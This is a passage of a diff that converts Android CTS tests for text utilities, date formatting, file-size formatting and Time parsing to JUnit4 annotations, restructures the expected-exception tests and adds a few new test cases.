             TextUtils.split("abccbadecdebz", (Pattern) null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
     }
 
     /*
      * return the appearance count of searched chars in text.
      */
-    private int calculateCharsCount(CharSequence text, CharSequence searches) {
+    private static int calculateCharsCount(CharSequence text, CharSequence searches) {
         int count = 0;
         int start = TextUtils.indexOf(text, searches, 0);
 
@@ -1723,6 +1912,7 @@
         return count;
     }
 
+    @Test
     public void testSplitString() {
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
@@ -1737,21 +1927,19 @@
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
         assertEquals(testString.length() + 2,
                 TextUtils.split("abccbadecdebz", "").length);
-
-        try {
-            TextUtils.split(null, "a");
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-        try {
-            TextUtils.split("abccbadecdebz", (String) null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testSplitStringNullText() {
+        TextUtils.split(null, "a");
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testSplitStringNullPattern() {
+        TextUtils.split("abccbadecdebz", (String) null);
+    }
+
+    @Test
     public void testStringOrSpannedString() {
         assertNull(TextUtils.stringOrSpannedString(null));
 
@@ -1771,6 +1959,7 @@
                 TextUtils.stringOrSpannedString(stringBuffer).getClass());
     }
 
+    @Test
     public void testSubString() {
         String string = "String";
         assertSame(string, TextUtils.substring(string, 0, string.length()));
@@ -1828,6 +2017,7 @@
         assertTrue(mockGetChars.hasCalledGetChars());
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcelable.Creator<CharSequence> creator = TextUtils.CHAR_SEQUENCE_CREATOR;
         String string = "String";
@@ -1915,6 +2105,7 @@
         }
     }
 
+    @Test
     public void testGetCapsMode() {
         final int CAP_MODE_ALL = TextUtils.CAP_MODE_CHARACTERS
                 | TextUtils.CAP_MODE_WORDS | TextUtils.CAP_MODE_SENTENCES;
@@ -1999,6 +2190,7 @@
                 TextUtils.getCapsMode(testString, offset, CAP_MODE_ALL));
     }
 
+    @Test
     public void testGetCapsModeException() {
         String testString = "Start. Sentence word!No space before\n\t" +
                 "Paragraph? (\"\'skip begin\'\"). skip end";
@@ -2025,6 +2217,7 @@
         }
     }
 
+    @Test
     public void testDumpSpans() {
         StringBuilder builder = new StringBuilder();
         StringBuilderPrinter printer = new StringBuilderPrinter(builder);
@@ -2044,6 +2237,7 @@
         assertTrue(builder.length() > 0);
     }
 
+    @Test
     public void testGetLayoutDirectionFromLocale() {
         assertEquals(LAYOUT_DIRECTION_LTR,
                 TextUtils.getLayoutDirectionFromLocale(null));
diff --git a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
index 70bfe54..7993f58 100644
--- a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
@@ -16,15 +16,28 @@
 
 package android.text.cts;
 
-import java.util.Iterator;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils.SimpleStringSplitter;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Iterator;
+
 /**
  * Test {@link SimpleStringSplitter}.
  */
-public class TextUtils_SimpleStringSplitterTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextUtils_SimpleStringSplitterTest {
+    @Test
     public void testConstructor() {
         new SimpleStringSplitter('|');
 
@@ -33,6 +46,7 @@
         new SimpleStringSplitter(Character.MIN_VALUE);
     }
 
+    @Test
     public void testHasNext() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter('|');
         assertFalse(simpleStringSplitter.hasNext());
@@ -50,6 +64,7 @@
         assertFalse(simpleStringSplitter.hasNext());
     }
 
+    @Test
     public void testIterator() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter('|');
 
@@ -67,6 +82,7 @@
         assertFalse(iterator.hasNext());
     }
 
+    @Test
     public void testNext1() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter(',');
 
@@ -80,6 +96,7 @@
         }
     }
 
+    @Test
     public void testNext2() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter(',');
 
@@ -96,6 +113,7 @@
         assertEquals("", simpleStringSplitter.next());
     }
 
+    @Test
     public void testRemove() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter(',');
 
@@ -106,6 +124,7 @@
         }
     }
 
+    @Test
     public void testSetString() {
         SimpleStringSplitter simpleStringSplitter = new SimpleStringSplitter(',');
 
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index f72111b..4529f2a 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -16,20 +16,33 @@
 
 package android.text.format.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.content.ContentResolver;
+import android.app.UiAutomation;
 import android.content.Context;
-import android.cts.util.SystemUtil;
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateFormat;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.text.ParseException;
 import java.text.SimpleDateFormat;
-import java.io.FileInputStream;
-import java.io.InputStream;
 import java.util.Arrays;
 import java.util.Calendar;
 import java.util.Date;
@@ -38,13 +51,12 @@
 import java.util.Scanner;
 import java.util.TimeZone;
 
-public class DateFormatTest extends InstrumentationTestCase {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class DateFormatTest {
     private static final String TIME_FORMAT_12 = "12";
     private static final String TIME_FORMAT_24 = "24";
 
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
     // Date: 2008-12-18 05:30
     private static final int YEAR_FROM_1900 = 108;
     private static final int YEAR = 2008;
@@ -53,36 +65,48 @@
     private static final int HOUR = 5;
     private static final int MINUTE = 30;
 
+    private Context mContext;
+
     private boolean mIs24HourFormat;
     private Locale mDefaultLocale;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        enableAppOps();
-        mContext = getInstrumentation().getContext();
-        mContentResolver = mContext.getContentResolver();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mIs24HourFormat = DateFormat.is24HourFormat(mContext);
         mDefaultLocale = Locale.getDefault();
+
+        enableAppOps();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        if (!mIs24HourFormat) {
+            setTimeFormat(TIME_FORMAT_12);
+        }
+        if ((mDefaultLocale != null) && !Locale.getDefault().equals(mDefaultLocale)) {
+            Locale.setDefault(mDefaultLocale);
+        }
     }
 
     private void enableAppOps() {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
         StringBuilder cmd = new StringBuilder();
         cmd.append("appops set ");
-        cmd.append(getInstrumentation().getContext().getPackageName());
+        cmd.append(mContext.getPackageName());
         cmd.append(" android:write_settings allow");
-        getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
+        uiAutomation.executeShellCommand(cmd.toString());
 
         StringBuilder query = new StringBuilder();
         query.append("appops get ");
-        query.append(getInstrumentation().getContext().getPackageName());
+        query.append(mContext.getPackageName());
         query.append(" android:write_settings");
         String queryStr = query.toString();
 
         String result = "No operations.";
         while (result.contains("No operations")) {
-            ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation().executeShellCommand(
-                                        queryStr);
+            ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(queryStr);
             InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
             result = convertStreamToString(inputStream);
         }
@@ -94,18 +118,7 @@
         }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        if (!mIs24HourFormat) {
-            setTimeFormat(TIME_FORMAT_12);
-        }
-        if (!Locale.getDefault().equals(mDefaultLocale)) {
-            Locale.setDefault(mDefaultLocale);
-        }
-
-        super.tearDown();
-    }
-
+    @Test
     public void test_is24HourFormat() throws Exception {
         setTimeFormat(TIME_FORMAT_24);
         assertTrue(DateFormat.is24HourFormat(mContext));
@@ -113,6 +126,7 @@
         assertFalse(DateFormat.is24HourFormat(mContext));
     }
 
+    @Test
     public void test_format_M() {
         Calendar c = new GregorianCalendar(2008, Calendar.DECEMBER, 18);
         assertEquals("D", DateFormat.format("MMMMM", c));
@@ -122,6 +136,7 @@
         assertEquals("12", DateFormat.format("M", c));
     }
 
+    @Test
     public void test_format_L() {
         // TODO: we can't test other locales with this API so we can't test 'L' properly!
         Calendar c = new GregorianCalendar(2008, Calendar.DECEMBER, 18);
@@ -132,6 +147,7 @@
         assertEquals("12", DateFormat.format("L", c));
     }
 
+    @Test
     public void test_format_E() {
         Calendar c = new GregorianCalendar(2008, Calendar.DECEMBER, 18);
         assertEquals("T", DateFormat.format("EEEEE", c));
@@ -141,6 +157,7 @@
         assertEquals("Thu", DateFormat.format("E", c));
     }
 
+    @Test
     public void test_format_c() {
         // TODO: we can't test other locales with this API, so we can't test 'c' properly!
         Calendar c = new GregorianCalendar(2008, Calendar.DECEMBER, 18);
@@ -152,6 +169,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testFormatMethods() throws ParseException {
         if (!mDefaultLocale.equals(Locale.US)) {
             Locale.setDefault(Locale.US);
@@ -192,6 +210,7 @@
         assertEquals(expectedString, actual.toString());
     }
 
+    @Test
     public void test2038() {
         Calendar calendar = new GregorianCalendar(TimeZone.getTimeZone("GMT+00:00"));
 
@@ -235,6 +254,7 @@
         assertEquals(expected, sdf.format(c.getTime()));
     }
 
+    @Test
     public void test_bug_8359981() {
         checkFormat("24", "k", 00);
         checkFormat( "0", "K", 00);
@@ -262,6 +282,7 @@
         checkFormat( "0", "H", 24);
     }
 
+    @Test
     public void test_bug_82144() {
         for (Locale locale : Locale.getAvailableLocales()) {
             Locale.setDefault(locale);
@@ -291,7 +312,7 @@
     }
 
     private void setTimeFormat(String timeFormat) throws IOException {
-        SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
-                + Settings.System.TIME_12_24 + " " + timeFormat);
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "settings put system " + Settings.System.TIME_12_24 + " " + timeFormat);
     }
 }
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index a05ba7a..c8739d1 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -16,30 +16,44 @@
 
 package android.text.format.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.text.DateFormat;
 import java.util.Calendar;
 import java.util.Date;
 import java.util.Formatter;
+import java.util.GregorianCalendar;
 import java.util.Locale;
 import java.util.TimeZone;
 
-public class DateUtilsTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DateUtilsTest {
     private long mBaseTime;
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         TimeZone.setDefault(TimeZone.getTimeZone("GMT"));
         mBaseTime = System.currentTimeMillis();
     }
 
+    @Test
     public void testGetDayOfWeekString() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -60,6 +74,7 @@
                 DateUtils.getDayOfWeekString(Calendar.SUNDAY, 60));
     }
 
+    @Test
     public void testGetMonthString() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -76,6 +91,7 @@
         assertEquals("Jan", DateUtils.getMonthString(Calendar.JANUARY, 60));
     }
 
+    @Test
     public void testGetAMPMString() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -87,6 +103,7 @@
     // This is to test the mapping between DateUtils' public API and
     // libcore/icu4c's implementation. More tests, in different locales, are
     // in libcore's CTS tests.
+    @Test
     public void test_getRelativeTimeSpanString() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -112,16 +129,45 @@
                 mBaseTime, DateUtils.MINUTE_IN_MILLIS, DateUtils.FORMAT_NUMERIC_DATE));
     }
 
+    @Test
+    public void test_getRelativeTimeSpanString_withContext() {
+        if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
+            return;
+        }
+
+        final GregorianCalendar cal = new GregorianCalendar();
+        cal.setTimeInMillis(mBaseTime);
+        cal.set(Calendar.HOUR_OF_DAY, 10);
+        cal.set(Calendar.MINUTE, 0);
+        final long today10am = cal.getTimeInMillis();
+
+        final CharSequence withPrep = DateUtils.getRelativeTimeSpanString(mContext, today10am,
+                true /* with preposition */);
+        final CharSequence noPrep = DateUtils.getRelativeTimeSpanString(mContext, today10am,
+                false /* no preposition */);
+        assertEquals(noPrep, DateUtils.getRelativeTimeSpanString(mContext, today10am));
+
+        if (android.text.format.DateFormat.is24HourFormat(mContext)) {
+            assertEquals("at 10:00", withPrep);
+            assertEquals("10:00", noPrep);
+        } else {
+            assertEquals("at 10:00 AM", withPrep);
+            assertEquals("10:00 AM", noPrep);
+        }
+    }
+
     // Similar to test_getRelativeTimeSpanString(). The function here is to
     // test the mapping between DateUtils's public API and libcore/icu4c's
     // implementation. More tests, in different locales, are in libcore's
     // CTS tests.
+    @Test
     public void test_getRelativeDateTimeString() {
         final long DAY_DURATION = 5 * 24 * 60 * 60 * 1000;
         assertNotNull(DateUtils.getRelativeDateTimeString(mContext, mBaseTime - DAY_DURATION,
                 DateUtils.MINUTE_IN_MILLIS, DateUtils.DAY_IN_MILLIS, DateUtils.FORMAT_NUMERIC_DATE));
     }
 
+    @Test
     public void test_formatElapsedTime() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -129,19 +175,20 @@
 
         long MINUTES = 60;
         long HOURS = 60 * MINUTES;
-        test_formatElapsedTime("02:01", 2 * MINUTES + 1);
-        test_formatElapsedTime("3:02:01", 3 * HOURS + 2 * MINUTES + 1);
+        verifyFormatElapsedTime("02:01", 2 * MINUTES + 1);
+        verifyFormatElapsedTime("3:02:01", 3 * HOURS + 2 * MINUTES + 1);
         // http://code.google.com/p/android/issues/detail?id=41401
-        test_formatElapsedTime("123:02:01", 123 * HOURS + 2 * MINUTES + 1);
+        verifyFormatElapsedTime("123:02:01", 123 * HOURS + 2 * MINUTES + 1);
     }
 
-    private void test_formatElapsedTime(String expected, long elapsedTime) {
+    private void verifyFormatElapsedTime(String expected, long elapsedTime) {
         assertEquals(expected, DateUtils.formatElapsedTime(elapsedTime));
         StringBuilder sb = new StringBuilder();
         assertEquals(expected, DateUtils.formatElapsedTime(sb, elapsedTime));
         assertEquals(expected, sb.toString());
     }
 
+    @Test
     public void testFormatSameDayTime() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
@@ -154,7 +201,6 @@
 
         int currentYear = Calendar.getInstance().get(Calendar.YEAR);
         Date dateWithCurrentYear = new Date(currentYear - 1900, 0, 19, 3, 30, 15);
-        long timeWithCurrentYear = dateWithCurrentYear.getTime();
 
         final long DAY_DURATION = 5 * 24 * 60 * 60 * 1000;
         assertEquals("Saturday, January 24, 2009", DateUtils.formatSameDayTime(
@@ -184,24 +230,71 @@
 
     // This is just to exercise the wrapper that calls the libcore/icu4c implementation.
     // Full testing, in multiple locales, is in libcore's CTS tests.
+    @Test
     public void testFormatDateRange() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
         }
 
-        Date date = new Date(109, 0, 19, 3, 30, 15);
-        long fixedTime = date.getTime();
-        final long HOUR_DURATION = 2 * 60 * 60 * 1000;
+        final Date date = new Date(109, 0, 19, 3, 30, 15);
+        final long fixedTime = date.getTime();
+        final long hourDuration = 2 * 60 * 60 * 1000;
         assertEquals("Monday", DateUtils.formatDateRange(mContext, fixedTime,
-                fixedTime + HOUR_DURATION, DateUtils.FORMAT_SHOW_WEEKDAY));
+                fixedTime + hourDuration, DateUtils.FORMAT_SHOW_WEEKDAY));
     }
 
+    @Test
+    public void testFormatDateRange_withFormatter() {
+        if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
+            return;
+        }
+
+        final Date date = new Date(109, 0, 19, 3, 30, 15);
+        final long fixedTime = date.getTime();
+        final long hourDuration = 2 * 60 * 60 * 1000;
+        final Formatter formatter = new Formatter();
+        final Formatter result = DateUtils.formatDateRange(mContext, formatter, fixedTime,
+                fixedTime + hourDuration, DateUtils.FORMAT_SHOW_WEEKDAY);
+        assertEquals("Monday", result.toString());
+        assertSame(result, formatter);
+    }
+
+    @Test
+    public void testFormatDateRange_withFormatterAndTimezone() {
+        if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
+            return;
+        }
+
+        final Date date = new Date(109, 0, 19, 3, 30, 15);
+        final long fixedTime = date.getTime();
+        final long hourDuration = 2 * 60 * 60 * 1000;
+        final Formatter formatter = new Formatter();
+        final Formatter result = DateUtils.formatDateRange(mContext, formatter, fixedTime,
+                fixedTime + hourDuration, DateUtils.FORMAT_SHOW_WEEKDAY, null /* local */);
+        assertEquals("Monday", result.toString());
+        assertSame(result, formatter);
+    }
+
+    @Test
+    public void testFormatDateTime() {
+        if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
+            return;
+        }
+
+        final Date date = new Date(109, 0, 19, 3, 30, 15);
+        final long fixedTime = date.getTime();
+        assertEquals("Monday", DateUtils.formatDateTime(mContext, fixedTime,
+                DateUtils.FORMAT_SHOW_WEEKDAY));
+    }
+
+    @Test
     public void testIsToday() {
         final long ONE_DAY_IN_MS = 24 * 60 * 60 * 1000;
         assertTrue(DateUtils.isToday(mBaseTime));
         assertFalse(DateUtils.isToday(mBaseTime - ONE_DAY_IN_MS));
     }
 
+    @Test
     public void test_bug_7548161() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
             return;
diff --git a/tests/tests/text/src/android/text/format/cts/FormatterTest.java b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
index 6acfb84..8c7fdc9 100644
--- a/tests/tests/text/src/android/text/format/cts/FormatterTest.java
+++ b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
@@ -16,47 +16,109 @@
 
 package android.text.format.cts;
 
-import java.math.BigDecimal;
-import java.math.MathContext;
+import static org.junit.Assert.assertEquals;
 
-import android.test.AndroidTestCase;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.LocaleList;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.format.Formatter;
 
-public class FormatterTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.math.BigDecimal;
+import java.math.MathContext;
+import java.util.Locale;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FormatterTest {
+    @Test
     public void testFormatFileSize() {
         // test null Context
         assertEquals("", Formatter.formatFileSize(null, 0));
 
-        MathContext mc = MathContext.DECIMAL64;
-        BigDecimal bd = new BigDecimal((long) 1024, mc);
+        final MathContext mc = MathContext.DECIMAL64;
+        final BigDecimal bd = new BigDecimal((long) 1000, mc);
+        final Configuration config = new Configuration();
+        config.setLocales(new LocaleList(Locale.US));
+        final Context context =
+                InstrumentationRegistry.getTargetContext().createConfigurationContext(config);
 
         // test different long values with various length
-        assertEquals("0 B", Formatter.formatFileSize(mContext, 0));
-        assertEquals("1 B", Formatter.formatFileSize(mContext, 1));
-        assertEquals("9 B", Formatter.formatFileSize(mContext, 9));
-        assertEquals("10 B", Formatter.formatFileSize(mContext, 10));
-        assertEquals("99 B", Formatter.formatFileSize(mContext, 99));
-        assertEquals("100 B", Formatter.formatFileSize(mContext, 100));
-        assertEquals("900 B", Formatter.formatFileSize(mContext, 900));
-        assertEquals("0.88 KB", Formatter.formatFileSize(mContext, 901));
+        assertEquals("0 B", Formatter.formatFileSize(context, 0));
+        assertEquals("1 B", Formatter.formatFileSize(context, 1));
+        assertEquals("9 B", Formatter.formatFileSize(context, 9));
+        assertEquals("10 B", Formatter.formatFileSize(context, 10));
+        assertEquals("99 B", Formatter.formatFileSize(context, 99));
+        assertEquals("100 B", Formatter.formatFileSize(context, 100));
+        assertEquals("900 B", Formatter.formatFileSize(context, 900));
+        assertEquals("0.90 kB", Formatter.formatFileSize(context, 901));
 
-        assertEquals("1.00 KB", Formatter.formatFileSize(mContext, bd.pow(1).longValue()));
+        assertEquals("1.00 kB", Formatter.formatFileSize(context, bd.pow(1).longValue()));
+        assertEquals("1.50 kB", Formatter.formatFileSize(context, bd.pow(1).longValue() * 3 / 2));
+        assertEquals("12.50 kB", Formatter.formatFileSize(context, bd.pow(1).longValue() * 25 / 2));
 
-        assertEquals("1.00 MB", Formatter.formatFileSize(mContext, bd.pow(2).longValue()));
+        assertEquals("1.00 MB", Formatter.formatFileSize(context, bd.pow(2).longValue()));
 
-        assertEquals("1.00 GB", Formatter.formatFileSize(mContext, bd.pow(3).longValue()));
+        assertEquals("1.00 GB", Formatter.formatFileSize(context, bd.pow(3).longValue()));
 
-        assertEquals("1.00 TB", Formatter.formatFileSize(mContext, bd.pow(4).longValue()));
+        assertEquals("1.00 TB", Formatter.formatFileSize(context, bd.pow(4).longValue()));
 
-        assertEquals("1.00 PB", Formatter.formatFileSize(mContext, bd.pow(5).longValue()));
+        assertEquals("1.00 PB", Formatter.formatFileSize(context, bd.pow(5).longValue()));
 
-        assertEquals("1024 PB", Formatter.formatFileSize(mContext, bd.pow(6).longValue()));
+        assertEquals("1000 PB", Formatter.formatFileSize(context, bd.pow(6).longValue()));
 
         // test Negative value
-        assertEquals("-1 B", Formatter.formatFileSize(mContext, -1));
+        assertEquals("-1 B", Formatter.formatFileSize(context, -1));
     }
 
+    @Test
+    public void testFormatShortFileSize() {
+        // test null Context
+        assertEquals("", Formatter.formatFileSize(null, 0));
+
+        final MathContext mc = MathContext.DECIMAL64;
+        final BigDecimal bd = new BigDecimal((long) 1000, mc);
+        final Configuration config = new Configuration();
+        config.setLocales(new LocaleList(Locale.US));
+        final Context context =
+                InstrumentationRegistry.getTargetContext().createConfigurationContext(config);
+
+        // test different long values with various length
+        assertEquals("0 B", Formatter.formatShortFileSize(context, 0));
+        assertEquals("1 B", Formatter.formatShortFileSize(context, 1));
+        assertEquals("9 B", Formatter.formatShortFileSize(context, 9));
+        assertEquals("10 B", Formatter.formatShortFileSize(context, 10));
+        assertEquals("99 B", Formatter.formatShortFileSize(context, 99));
+        assertEquals("100 B", Formatter.formatShortFileSize(context, 100));
+        assertEquals("900 B", Formatter.formatShortFileSize(context, 900));
+        assertEquals("0.90 kB", Formatter.formatShortFileSize(context, 901));
+
+        assertEquals("1.0 kB", Formatter.formatShortFileSize(context, bd.pow(1).longValue()));
+        assertEquals("1.5 kB", Formatter.formatShortFileSize(context,
+                bd.pow(1).longValue() * 3 / 2));
+        assertEquals("13 kB", Formatter.formatShortFileSize(context,
+                bd.pow(1).longValue() * 25 / 2));
+
+        assertEquals("1.0 MB", Formatter.formatShortFileSize(context, bd.pow(2).longValue()));
+
+        assertEquals("1.0 GB", Formatter.formatShortFileSize(context, bd.pow(3).longValue()));
+
+        assertEquals("1.0 TB", Formatter.formatShortFileSize(context, bd.pow(4).longValue()));
+
+        assertEquals("1.0 PB", Formatter.formatShortFileSize(context, bd.pow(5).longValue()));
+
+        assertEquals("1000 PB", Formatter.formatShortFileSize(context, bd.pow(6).longValue()));
+
+        // test Negative value
+        assertEquals("-1 B", Formatter.formatShortFileSize(context, -1));
+    }
+
+    @Test
     public void testFormatIpAddress() {
         assertEquals("1.0.168.192", Formatter.formatIpAddress(0xC0A80001));
         assertEquals("1.0.0.127", Formatter.formatIpAddress(0x7F000001));
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index cc73272..e085a29 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -16,13 +16,24 @@
 
 package android.text.format.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.res.Configuration;
 import android.content.res.Resources;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.format.Time;
 import android.util.Log;
 import android.util.TimeFormatException;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Calendar;
@@ -31,36 +42,37 @@
 import java.util.Objects;
 import java.util.TimeZone;
 
-public class TimeTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TimeTest {
     private static final String TAG = "TimeTest";
+    private static List<Locale> sSystemLocales;
 
     private Locale originalLocale;
 
-    private static List<Locale> sSystemLocales;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         originalLocale = Locale.getDefault();
 
         maybeInitializeSystemLocales();
     }
 
-    @Override
-    public void tearDown() throws Exception {
+    @After
+    public void teardown() {
         // The Locale may be changed by tests. Revert to the original.
         changeJavaAndAndroidLocale(originalLocale, true /* force */);
-        super.tearDown();
     }
 
+    @Test
     public void testConstructor() {
         Time time = new Time();
         new Time(Time.getCurrentTimezone());
         time.set(System.currentTimeMillis());
         Time anotherTime = new Time(time);
-        assertTime(time, anotherTime);
+        verifyTime(time, anotherTime);
     }
 
+    @Test
     public void testNormalize() {
         final int expectedMonth = 3;
         final int expectedDate = 1;
@@ -86,6 +98,7 @@
         assertEquals(expectedDate, time.monthDay);
     }
 
+    @Test
     public void testSwitchTimezone() {
         String timeZone = "US/Pacific";
         String anotherTimeZone = "Asia/Chongqing";
@@ -95,6 +108,7 @@
         assertEquals(anotherTimeZone, time.timezone);
     }
 
+    @Test
     public void testSet() {
         final int year = 2008;
         final int month = 5;
@@ -107,10 +121,10 @@
 
         Time anotherTime = new Time();
         anotherTime.set(time);
-        assertTime(time, anotherTime);
+        verifyTime(time, anotherTime);
     }
 
-    private void assertTime(Time time, Time anotherTime) {
+    private void verifyTime(Time time, Time anotherTime) {
         assertEquals(time.timezone, anotherTime.timezone);
         assertEquals(time.allDay, anotherTime.allDay);
         assertEquals(time.second, anotherTime.second);
@@ -125,6 +139,7 @@
         assertEquals(time.gmtoff, anotherTime.gmtoff);
     }
 
+    @Test
     public void testGetWeekNumber() {
         Time time = new Time();
         time.normalize(false);
@@ -151,24 +166,22 @@
         }
     }
 
+    @Test(expected=NullPointerException.class)
     public void testParseNull() {
         Time t = new Time();
-        try {
-            t.parse(null);
-            fail();
-        } catch (NullPointerException expected) {
-        }
+        t.parse(null);
+    }
 
-        try {
-            t.parse3339(null);
-            fail();
-        } catch (NullPointerException expected) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testParse3339Null() {
+        Time t = new Time();
+        t.parse3339(null);
     }
 
     // http://code.google.com/p/android/issues/detail?id=16002
     // We'd leak one JNI global reference each time parsing failed.
     // This would cause a crash when we filled the global reference table.
+    @Test
     public void testBug16002() {
         Time t = new Time();
         for (int i = 0; i < 8192; ++i) {
@@ -183,6 +196,7 @@
     // http://code.google.com/p/android/issues/detail?id=22225
     // We'd leak one JNI global reference each time parsing failed.
     // This would cause a crash when we filled the global reference table.
+    @Test
     public void testBug22225() {
         Time t = new Time();
         for (int i = 0; i < 8192; ++i) {
@@ -194,6 +208,7 @@
         }
     }
 
+    @Test
     public void testIsEpoch() {
         Time time = new Time();
         assertTrue(Time.isEpoch(time));
@@ -202,6 +217,7 @@
         assertFalse(Time.isEpoch(time));
     }
 
+    @Test
     public void testAfterBefore() {
         Time a = new Time(Time.TIMEZONE_UTC);
         Time b = new Time("America/Los_Angeles");
@@ -347,7 +363,8 @@
             new DateTest(2007, 10, 5, 2, 0, 60, 2007, 10, 5, 3, 0),
     };
 
-    public void testNormalize1() throws Exception {
+    @Test
+    public void testNormalize1() {
         String tz = "America/Los_Angeles";
         Time local = new Time(tz);
 
@@ -363,7 +380,7 @@
             Time expected = new Time(tz);
